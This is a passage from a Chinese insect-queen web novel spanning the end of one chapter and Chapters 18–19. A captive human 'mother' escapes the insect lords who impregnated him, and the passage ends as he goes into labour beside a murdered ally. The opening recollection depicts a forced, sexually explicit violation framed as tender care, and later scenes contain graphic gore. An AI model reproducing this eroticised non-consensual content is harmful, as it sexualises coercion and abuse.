尤金至今不想回忆起那天发生的所有事情,但可悲的是这件事对他的影响太大,以至于他哪怕不想回忆,在此刻也全都想了起来。
德雷蒙德,这白蛛一族的领主,只遥遥看了望来,就想到了办法。
既然雄虫们的生殖腕太过狰狞,塞入虫母未经人事的身体显然不太合适,而在场所有雄虫都不想用冷冰冰的工具代劳。
那么答案只剩下了一个。
白色的蛛丝从德雷蒙德腕心发射而出,黏住了尤金每一个能活动的关节,宛如操纵提线木偶般将他提起。
纯白的丝线像洒射下来的月光,映照在那雪白无瑕的圣母身上,将他如同蝴蝶般捕获,紧紧束缚,无法挣脱。
在黏腻的、无数道复眼的注视下,尤金难以置信地发现自己的手动了。
那只手于半明半暗的夜光里伸出,肌肤白得剔透莹润,指节纤细匀称,连指甲都泛着一层冷润的珍珠光泽。
像是被月光浸透过的寒玉。
可这份美丽之下,却藏着一层令人毛骨悚然的诡异:它的每一次动作,都不属于身为主人的尤金的意志。
指尖先是微微蜷起,再缓缓舒展,动作轻柔得像是在抚摸不存在的花瓣。
随后手腕轻转,手臂随之抬起,在尤金近乎崩溃地
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频频摇头中,朝着他自己的下身一寸接着一寸地探了过去。
那些缠在关节上的蛛丝收紧、拉扯,像操纵最精密的傀儡,让这只美丽得近乎妖异的手臂,去自我亵渎这悖论的身躯。
……
尤金感受到自己在被刺入。
温湿的触感、灼热的狭窄。
收缩的甬道。
一切的一切都像是隔着一层厚厚的水膜,模糊不清却无与伦比得真实,逼得他几度欲死,又几度重生。
不久后,他摸到了“它”。
那是他身体里刚长出来的,绝不属于男人的器官。
它柔软脆弱,渺小坚韧,拥有着无法预判的弹性。尽管如此,在手指的硬度面前,它还是败得不堪一击。
尤金自己撑开了它。
在他本人的极度抗拒下,在他大脑发出的所有指令都在疯狂命令着停下。
那只手却自顾自地,用无比优雅从容的速度杀死了他。
不远处。
操纵着蛛丝的银发领主发出了一声赞许,用平淡而愉悦的口吻夸赞尤金精彩绝伦的表演:
“就是这样,我亲爱的母亲,您做的很棒。”
缓步走上前来,他温柔抚去尤金脸上已经冷掉的泪,手掌按压在他痉挛不止的脊背,安抚着那颤抖的身躯,微笑道:
“已经可以塞入半颗了。”
“再坚持一些时间……或许您可以趁着空隙想想,不久后您想要怀上什么样的卵?”
卵球之间也有不同。
活泼的、文静的、调皮的、乖巧的,在它们还是一颗球的时候就已经能体现出来。
“挑个温和的。”
有其他领主建议道,眼睛自始至终都没有从尤金身上离开一秒:“太活泼的会闹妈妈的身子,他会受不了的。别忘了,他毕竟还是第一次。”
德雷蒙德没有温度的唇贴在尤金的耳边,在后者近乎死寂般颤抖的溃散中,轻声道:
“不。”
他说,“正因为是第一次,才要给母亲留一个刻骨铭心的记忆。温和?那是软弱的人类才会追求的东西。”
……
尤金忽的停止了梦魇般的回忆。
因为一只宽大的手掌,带着不容置疑的力道覆盖在了他隆起的肚子上。
那一瞬间,所有的挣扎和声音都被这只手掐断了,尤金汗如雨下,好一会才反应过来此时此刻他在哪里。
虫卵开始和他的父亲共鸣。
它被父亲精挑细选出来,亲手塞入了母亲的身体,在此神圣之地进行孕育,等待破壳而出的那一天。
“瞧,我们的孩子在以如此惊人的速度成长,它是我们之间最深刻的联系。”
德雷蒙德如丈夫拥着妻子般拥抱着他,掌心扣着他的脖颈摩挲,一如牵引他自渎的那天夜晚。
“作为孩子的父亲,触碰身为母亲的身体,不是再正常不过的事吗?”
“至于你,爱尔文。”
德雷蒙德嗅闻着尤金的味道,节肢一根根展开,对那控制不住显露出漆黑色螳螂原型的雄虫讥讽地扯了一下唇线:
“竟敢使用手段引诱母亲,让他对你产生特殊情感……”
“简直找死。”
18.Chapter18
黑与白的节肢在空中交错闪过,每次相互冲撞都擦出金属般的火花。
他们太快了。
近乎成了两道肉眼无法捕捉的虚影,只有刺耳的摩擦声和四处迸溅的血液证明着这场厮杀的惨烈。
尤金被按在德雷蒙德的胸前,呼吸艰难。
他勉强分辨银白的那方攻势凌厉,几度出手都带着致命的杀意。而漆黑的那方却总在最后关头凝滞,像卡壳的机器,犹豫着不肯进攻。
黑色的甲壳不断破裂,血液倾洒得满地都是。尤金明白,爱尔文要撑不住了。
因为自己正在被对手抱着,爱尔文迟迟不敢全力出手,毕竟不能伤害虫母,是他们骨子里的本能。
只要他还在德雷蒙德怀里,爱尔文就永远不可能真正地攻击。
不能再这样了。
相似的场景在脑海中反复上演,几乎要将尤金的神经磨断:如果德雷蒙德更占上风,等待他的将会是无尽的地狱。
果不其然。
始终扣着他的后颈,做足了掌控者姿态的德雷蒙德在如此频繁、密集、眼花缭乱的进攻中,竟然还有余力对尤金幽幽叹息:
“母亲真的会安然度过朝圣日么?”
“就像您讨厌我们,所以不可能爱肚子里的孩子一样,我对您能否在无数同族的见证下,还能保持冷静这一事持怀疑态度。”
“说到底……”
德雷蒙德似是不解,抚着尤金脖颈的那只手缓缓收紧:“以您的性格,今天会乖乖过来这件事本身,就已经让我意外了。”
复眼中的晶格倒映出苍白的脸,他探究地与尤金对视:
“得知节日的性质后,您为什么没有发火?为什么没有惊讶?为什么无动于衷?”
“太奇怪了。”
德雷蒙德音调渐渐变冷:“在我失去耐心之前,您最好将一切都告诉我。”
“……”
他察觉到了。
情况变得越发危险。
或许是隐秘地窥探到了尤金的想法,出于警惕,源源不断的银白的丝线从德雷蒙德身上探出,大面积地缠绕上尤金的躯体。
很快,他就被裹成了一个半透明的虫茧,只有脸能够呼吸。
这是白月蜘蛛的习性。
在捕获珍贵猎物的第一时间,吐丝将其束缚,进一步杜绝逃离的可能,以便随时都能掌控吞吃。
顶级捕食者的碾压下,孱弱的人类连自救的选择都少得可怜。
绝望和愤怒在胸口翻腾。
尤金无意识地咬住了嘴唇,险些要将那块肉咬下来,流出腥甜的血液。
他眉宇紧蹙,堪称诅咒地在心里骂着这些虫子,想要将无时无刻都在干扰他,侵害他的异种全部消灭。
可他做不到。
尽管尤金的腕力在人类当中属于优秀,学过的技巧丰富又实用,也无法撼动这些蛛丝分毫。
但让他放弃,他又属实不甘。
难道力量弱小的人注定要被不断剥削生存的空间吗?
凭什么他要被这些连仁义道德,礼义廉耻是什么东西都不知道的异种奴役驱使?
无人惧怕短时间的磨难。
可当这磨难一眼望不到头,再温顺的羔羊都会撞栏,更何况尤金这样本就自尊心强烈的人。
办法…
办法……
大脑飞速运转着。
半年以来被迫观察承受的同时,尤金也理解了这些名为子嗣的怪物们是什么样的存在。
他十分清楚用温吞的方法来应对他们,只会换来这些东西不断地得寸进尺。
尤金需要的不是以弱示人,祈求杀戮者的仁慈,否则这种行为在本质上,与向刽子手露出脖颈有什么区别?
尤金不需要怜悯。
他需要的是武器,是策略,是倾尽所有可以利用的东西,包括他自己,直到坦坦荡荡地迎接胜利。
汗水打湿了他的额发。
尤金睫毛在微不可察地颤抖,那双多数时间总是死气沉沉的眼睛,此刻却燃烧着近乎疯狂的光,亮得惊人。
他忽的抬头,声音清晰而坚决:
“动手,爱尔文!”
大殿里的嘈杂仿佛褪去。
尤金目光越过德雷蒙德,直直看向远处的爱尔文,后者的复眼剧烈震颤着,倒映着尤金决绝的身影。
“听着,”尤金的嗓音平静得像在陈述事实,“伤到我也没关系,砍到我更是无所谓……你知道我想要什么。做你该做的事。”
时间仿佛凝固了。
德雷蒙德扣在他肩上的手指骤然收紧。这只雄虫先是愕然,随即脸上浮现出被触怒的神色。
“母亲知道自己在说什么吗?”他一字一顿地说,“任何雄虫都不会伤害自己的母亲。您竟然让他无视您的存在攻击我?”
“荒谬至极!”
尤金没有争辩。
他只是死死盯着爱尔文,那目光穿透了一切直抵灵魂深处。
他已然赌上了自己:他的血,他的肉,他躯壳的每一部分。
这些世俗意义上绝对不能舍弃的东西,在自由面前,通通都被他当做了可以利用的筹码。
爱尔文清楚的。
唯独这只雄虫,他是清楚的。
在德雷蒙德还试图理解这荒唐命令时,那边与尤金深深凝视后的爱尔文已经动了。
黑色的肢节暴长,他再无迟疑,前肢锋利的镰刃划破空气,直直斩向德雷蒙德。
他并没有改变攻击轨迹,这样下去,被命中的除了德雷蒙德的大半身体之外,还包括被他禁锢在怀里的尤金。
迎着刀锋,尤金挺直了脊背。
这一刻,脆弱与强大,渺小与浩瀚的矛盾在这具年轻美丽的皮囊下交织碰撞,又在同一时刻到达了顶点,绽放出耀眼的光。
“乖孩子,做的很好。”
尤金喃喃道。
德雷蒙德的复眼骤然缩成了针尖。
他完全没有预料到爱尔文真的在尤金的命令下,毫不犹豫地向母亲的方向攻击,做出如此违背本能的举动。
银白色的节肢飞速窜起,德雷蒙德试图格挡,然而已经来不及了——
在他挡住之前,尤金定然会先一步被砍成重伤。
快动!
快些!
身体的速度快过思考,德雷蒙德下意识地转身躯,双臂张开,将裹在丝茧中的尤金护在了胸膛前,自己则用最坚硬的脊背去迎接那记斩击。
沉闷的撕裂声响起。
银白的背部甲壳裂开了一道巨大的口子,从肩膀一直延伸到了腰。
血液喷涌而出,溅得到处都是。
他晃了一下,却没倒下。
高阶雄虫的生命
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力顽强的可怕,他用还能动的那只手紧紧地抱住尤金,声音从喉咙里挤出来:
“母亲,母亲……您没有受伤是不是?还好,还好,您没事……”
尤金没有挣扎。
相反,他抬起自己的手,轻轻捧住了德雷蒙德沾满血的脸。
德雷蒙德混沌的意识僵住了。
他不敢相信尤金竟然会主动触碰他,那温热的手覆盖在他的脸庞上,像是温暖的春风拂过。
母亲的气味传了过来。
好闻的、香甜的味道充斥着他的鼻尖,一点点往他的胸膛肺部里钻。
如果说每一只雄虫对于虫母都有病态的恋母情节,德雷蒙德也不例外。
在此危机时刻,他竟足足为此恍惚了数秒,听尤金在他耳边低语:
“德雷蒙德,如果你爱我,那你愿意为了我而死吗?”
尤金敛目看他,“此刻,就在这里,在我的面前死去。”
德雷蒙德喉结重重一滚。
在尤金近乎引诱般的言语中,他什么都来不及说,第二道黑色的刀光就从他胸前穿了出来。
噗嗤。
镰刃摩擦骨骼的声音,那刀彻底穿透了他的身体,由上而下几乎将他切成两半。更多的血涌出来,在地上积成了一滩。
德雷蒙德的手终于松开了。
在他逐渐黯淡的视线里,尤金抽回了手,脸上那最后一点温柔也如幻觉般完全消散,只剩下了厌烦的淡漠。
那幻想出来的、爱他的母亲的形象……从头到尾都不存在。
“走!”
时机转瞬即逝。
爱尔文重新拟态,一把将尤金从德雷蒙德的身边拉了过来,护在自己的胸前,冲向这座殿宇的撤离通道。
就在这一瞬。
德雷蒙德尚未完全失去意识的身体,竟骤然又有银白的肢节弹射而出,死死绞住了爱尔文锋利的前肢。
咔嚓!
令人牙酸的碎裂声。爱尔文前肢被硬生生绞断,伤口却没有立即再生,反而蔓延着紫色的毒素。
是白月蜘蛛的神经毒。
压抑的痛苦往四肢百骸窜着,爱尔文毫不停留,用更快的速度抱住尤金,彻底消失在通道的深处。
几乎同时,德雷蒙德身体倒地。
大殿的天花板因刚刚的余波开始崩裂,巨大的石块和装饰纷纷砸落。
烟尘弥漫。
……
当其他领主赶到时,看到的便是一片狼藉。
王座空了,银白的领主倒在血泊里,他生命力流失严重,断裂的残躯连修复都缓慢而艰难。
“母亲呢?”
鬼蝶族的领主振翅发问。
“德雷蒙德,解释。”
水栖虫族的领主身影水波浮现。
废墟里,德雷蒙德转动复眼,死死盯着空荡的王座,眼里翻涌着浓稠如夜的情绪:
“找到他……”
“找……”
他嗓音沙哑得几不可闻,每个字都带着不寒而栗的执念。
片刻后,他闭了闭眼,放低音调,将最后一句话呢喃说出:“我摸到了母亲的胎动。”
“他要生产了。”
现在离开庇护,会出事的。
尤金。
他们那圣洁无暇的母亲……很可能会死在一场突如其来的分娩里。
19.Chapter19
天雾蒙蒙的,下起了雨。
冰凉的雨丝很快就连成了线,空气里弥漫着浓重的泥土腥气。
爱尔文带着尤金全速狂奔。
他们的目的地很清晰。
就在森林的最西方,缪可预先停泊好的小型飞舱的所在地。
临时起意的行动太过仓促,没有给他们留下一丝一毫的喘息时间,他们连绕路规避的空隙都挤不出来,只能争分夺秒地以最短的直线距离向前冲刺。
雨点砸在爱尔文的虫甲上,噼啪作响的雨声掩盖了部分脚步声,却也带来了新的麻烦:这段路要比以前难走很多,泥泞不堪,步步深陷。
而他的状态肉眼可见地糟糕。
维持着不完全的拟态,爱尔文忍着伤口的剧痛,艰难地用单臂托着尤金的腰臀,将人牢牢护在怀中。
虫化的骨骼向外延伸,他在尤金头顶撑开一小片屏障,这种情况下还竭力遮挡着倾泻的雨水,不让一滴落在尤金的身上。
然而。
在这嘈杂的雨声中,爱尔文高度警觉的感官捕捉到了悉悉索索的动静。
他立刻停止了动作,屏息凝神,朝周围细细打量着。
那声音是从潮湿的地面传来的。
爱尔文低头一看,大量智力低下的低阶钻地虫被强烈的吸引力唤醒,从四面八方的地底涌出。
它们挥舞着触须在空中嗅闻,随后朝着两人所在的方向围拢,渐渐形成了极具威胁的包围态势。
尤金也看到了。
他脸色一白,很快明白了根源:“它们闻到了我,是我身上的气味。”
爱尔文沉声:“妈妈,交给我,我会处理好的。”
尤金皱眉:“你也受了伤,一只只解决要耗到什么时候?”
这些低阶虫子数量众多,单个虽弱,但纠缠起来极为麻烦。
目光扫过自己裸露的,在阳光下泛着莹润光泽的皮肤,尤金有了主意。
抬手拍了拍爱尔文紧箍着他的手臂,他说:“放我下来。”
爱尔文迟疑片刻,依言将他放下。
双脚稳稳踩上湿滑的泥地。
没有丝毫停顿或适应,尤金径直弯下了腰,那截被无数目光垂涎觊觎,白皙到近乎脆弱的脖颈折出一道利落的弧线。
五指握住被雨水浸透的泥土,尤金用力地抹上自己的手臂、脖颈、脸庞。
深棕色的粗砺泥巴迅速吞没了那片无暇的冷白。
尤金没有停歇。
手掌移动,他接着地把所有裸露在外面的肌肤遮了起来,不存在半分犹豫和嫌弃。
这种不顾一切,纯粹而单一地果决让他看起来有一种近乎残酷的韧性。
爱尔文的眸光微闪。
就在前一秒,他还舍不得让一滴雨水沾湿尤金。此刻却只眼睁睁看着,一个字也吐不出了。
视线粘在尤金身上,眼前的身影恍然间与记忆深处,站在废墟碎屑之上,硝烟之中的人类青年迅速重合了。
尤金从来没有变。
尽管精神饱受压迫,身体逐渐向异种靠拢,但他自始至终都是他自己。
只要如此刻一般,给他一个解开囚笼,重获自由的机会,这一事实便会飞速显露出来,一如往昔。
“……”
爱尔文感到胸膛中某个器官,似乎正在被不知名的,某种柔软的东西一点点填满,温热,滚烫,粘稠统统在此刻膨胀。
他看到泥痕从尤金的指缝间溢出来,沿着手腕的弧线往下淌,那些背覆盖的皮肤底下,有脉搏在跳。
一下,又一下,和他胸腔里的撞击渐渐合上了节拍。
这种感觉很陌生。
爱尔文想,好像不是此前他对母亲产生的占有欲,也不是子嗣对母体的本能冲动。
而是另一种更美好的东西,他一直形容不出,只觉得做不到从尤金身上移开眼睛。
“走吧。”
尤金解决好气味外泄的事,转过身,冲他扬了扬下巴。
雨水冲淡了睫毛上的泥点,露出底下那双眼睛。还是亮的,很清澈的亮,干净得像是星星。
爱尔文喉咙动了一下,没发出声音。
走上前,他重新把尤金抱进怀里,手臂的力道虚虚笼着,不敢用力。
就好像让他心甘情愿护着的不是虫母,而是单纯的,名为尤金的个体。
……
他们离开后不久。
数道诡异的身影如流星般坠落在森林边缘,耸鼻嗅闻,四处环顾。
这些雄虫有些展开鞘翅,双翼足有五米之长,有些身躯上下布满了眼状斑,诡谲又不祥。
“母亲的气味轨迹散开了。”
那鬼蝶低声道,“黑镰一族只能低空飞行,他不可能带着母亲逃太远。”
“搜地面。”
另一只雄虫道,“有德雷蒙德的毒素在,那黑镰也飞不起来。”
他们脸上覆盖着浓浓一层黑雾,澎湃的杀意几乎控制不住。
对于尤金协同近侍在重要的朝圣日私逃一事,所有领主难以遏制地感到焦躁。
找到他。
必须找到即将生产的母亲,将他们的宝物重新纳入庇护。
而后,将那起了觊觎之心的近侍当众处死!分尸焚烧,决不饶恕!
......
森林深处。
光线因层层叠叠的巨树冠遮挡而变得异常昏暗,如同提前降临的夜幕。
爱尔文抱着尤金,终于抵达了相对平静的巨木林区。
这里每一棵树都需数人合抱,苔藓潮湿,空气中飘散着腐朽的独特气味。
爱尔文的呼吸无法抑制地变得粗重,断肢处的毒素随着剧烈运动,在血管中急速蔓延,脸色在昏暗光线下显得惨白。
强迫自己集中精神,所有晶面高速调整焦距,爱尔文屏息凝神,搜寻着周围有无存在的,同族的生命迹象。
尤金靠在他怀里,视线从他狰狞的断肢伤口掠过,动了动唇。
“你……”
尤金正要开口询问他的状况,腹部却猛地一坠。
像有只手在里面狠狠攥了一把,又往下扯,他猝不及防,“唔”地弓起了背。
唇上的血色霎时褪得干干净净。
冷汗从额角冒出来,一颗接一颗,顺着眉骨往下滚。
他整个人蜷了起来,手指猛地攥住爱尔文胸前的衣料,攥得很紧,指节绷着,关节处泛出青白色。
爱尔文的感应断了。
他低头,复眼里映出尤金的脸低垂着,嘴唇抿成一条白线,额发被冷汗浸透,黏在皮肤上,肩膀在轻微地抖。
“妈妈?”
尤金没应声。
他闭着眼,睫毛湿漉漉地黏成一簇一簇,脸颊和鬓角的皮肤上涂好的褐色也被汗水和雨水冲出几道浅痕。
手按在小腹上,指节用力到发白,他弓着背,整个人缩着,像在忍受什么从内部撑开的撕裂感。
过了大概十几秒,那阵紧绷慢慢缓下来,尤金喘了口气,肩膀放松了一点,睁开眼看向爱尔文摇了摇头:
“……没事。”
声音有点哑。
不过是又一次宫缩,尤金想,肚子里这东西向来不挑时候。
他吸了口气,站直些:“方向辨认好了吗?”
爱尔文深深看了他一眼。
“继续走。”
尤金说,“别停。”
爱尔文不再说话,手臂收得更稳,托着尤金朝认准的方向疾行。
他屏着呼吸,目光不断扫向前方林木的间隙,想要寻找那艘飞舱的影子。
十几分钟后,他们冲出最后一片巨木的阴影,眼前终于出现了计划中的那片空地。
可空地上什么也没有。
只有雨水砸出的坑洼,和几片贴在泥水里的叶子在飘荡。
爱尔文难以置信地转头环视整片空地,又转回来,视野里依旧空荡。
“不在。”
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他的声音压得很低,齿缝间恨恨地挤出字句,“那只工蜂、那只工蜂!!”
“果然就应该在当时杀掉他,他又一次把您置于险境……妈妈,妈妈,我们接下来该怎么办?”
爱尔文转过头来,却被尤金惨白的脸色吓得心脏停跳了一瞬:
“您,您很难受吗?”
何止。
尤金的脸色简直白得吓人。
他刚刚起就已经松开了攥着爱尔文衣角的手,指尖冰凉,垂在身侧抽搐般发抖。
大口大口地喘息着,他胸口起伏得很快很浅,像是在努力把空气压进肺里,却总提不上来。
每一次吸气都异常短促,喉咙里发出细微的拉风箱般的声响。
爱尔文的声音朦朦胧胧,尤金听不真切,他只觉得肚子比刚才更酸胀了。
可如果只是单纯的疼痛,尤金绝不会如此狼狈,更可怕的,是下身涌起的难以形容的异样感。
像是有什么想要从内部剖开他的身体,迫不及待地从里面钻出来。
指甲几乎要嵌进皮肉里。
尤金目光空洞地扫过空荡荡的泥地,连说话都变得艰难:
“……失败了吗?”
爱尔文心焦地看着他,单臂不断抹去他头上层层冒出的汗水,没有接话,但尤金已经明白了他的态度和答案。
没有飞舱。
他们所有的逃亡计划,在此刻全都变成断线的风筝,摇摇欲坠,随风而逝。
退路断绝了。
后面的搜寻网却还在不断收紧,越来越近,越来越密,追兵随时都有可能出现在面前。
心渐渐凉了下来,尤金恍惚混乱之中,听到了哗啦啦的大雨声。
他讨厌雨。
只要这东西出现,总伴随着铺天盖地袭向他的灾难。
视线晃了晃,这样想着的尤金却极度巧合地,扫过地上的一处低洼:
那里似乎斜斜卡着一个模糊不清的东西,一半正在被雨水冲刷,一半已然浸在泥地里。
尤金怔住了。
他用气音唤了一声爱尔文的名字,在对方视线转来的同时,手指着那个方向:
“那是什么?”
爱尔文记挂着尤金的身体,全然没有心情顾及其他,只匆匆看去,却也愣住了。
脚步上前,他带着尤金走去。
那东西的外表更加清晰可辨,直观地映入了两人的眼帘。
竟是一颗头颅。
虫化的头部,深色的甲壳,颈部断裂处参差不齐,暴露的血肉呈暗褐色,边缘甚至开始腐败,面容却还依稀可辨。
它被割了头丢在这里,那双眼睛还是睁开着的,已经濒临浑浊。
这只虫子有一张尤金熟悉的脸。
是缪可。
……
工蜂并没有背叛他。
仔细一看,的确如此。
腥湿的地面上还有支撑架的痕迹,证明他曾经确实将飞舱停到了这里。
他如约来前来等待尤金,却因某种原因败露了行踪,人成了这副模样,停靠在此的飞舱也不知所踪。
尤金耳鸣了一瞬。
心脏剧烈收缩,他再也忍不住地干呕出声,身体精神齐齐溃散,整个人都软得要瘫倒在地。
祸不单行。
就在尤金认为事情不会更糟的时候,他又一次感觉到了熟悉的下坠感。
眼前一黑,他身体仿佛被抽走了灵魂般完全脱力。
温热的液体顺着他的大腿内侧蜿蜒而下,混着冰凉的雨水浸透了布料。
尤金闷哼一声,紧接着,更汹涌的收缩感袭来,他整个髋间都痉挛抽搐了起来。
要来了。
尤金直觉般划过这个念头。
在意识到自己的身体即将遭遇什么后,尤金再也受不了这巨大的荒谬感,几乎要忍不住放声大笑出来:
“哈,哈……”
“你这怪物可真会挑时间……”